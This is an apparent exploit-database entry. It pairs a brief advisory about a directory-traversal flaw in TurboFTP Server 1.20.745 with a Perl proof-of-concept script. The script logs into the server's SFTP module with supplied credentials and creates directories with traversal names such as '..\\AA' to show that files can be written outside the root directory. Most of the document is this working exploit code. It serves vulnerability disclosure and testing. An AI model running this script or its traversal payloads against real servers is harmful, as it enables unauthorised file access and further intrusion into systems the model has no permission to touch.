source: https://www.securityfocus.com/bid/40919/info
TurboFTP Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.
Exploiting this issue can allow an attacker to download or upload arbitrary files outside the root directory. This may aid in further attacks.
TurboFTP Server 1.20.745 is vulnerable; prior versions may also be affected.
#!/usr/bin/perl
#leinakesi[at]gmail.com
#turboFTP Server(sftp module) directory traversal vulnerability
use Net::SSH2;
use Getopt::Std;
@FUZZ = ("..\\A\\", "..\\AA");
getopts('S:P:u:p:', \%opts);
$server = $opts{'S'}; $port = $opts{'P'}; $user = $opts{'u'}; $pass = $opts{'p'};
if(!defined($server) || !defined($port) || !defined($user) || !defined($pass) ) {
print "usage:\n\tperl test.pl -S [IP] -P [port] -u [user] -p [password]\nexample:\n";
print "\tperl test.pl -S 192.168.48.114 -P 22 -u chloe -p 111111\n";
exit(0);
}
$ssh2 = Net::SSH2->new();
$ssh2->connect($server, $port) || die "can not connect the server, please check.\n"; $ssh2->auth_password($user, $pass) || die "you sure user name and password are correct?\n"; $sftp = $ssh2->sftp();
foreach(@FUZZ)
{
if($m = $sftp->mkdir($_))
{
print "mkdir success, $_\n";
}
}
$ssh2->disconnect();
exit(0);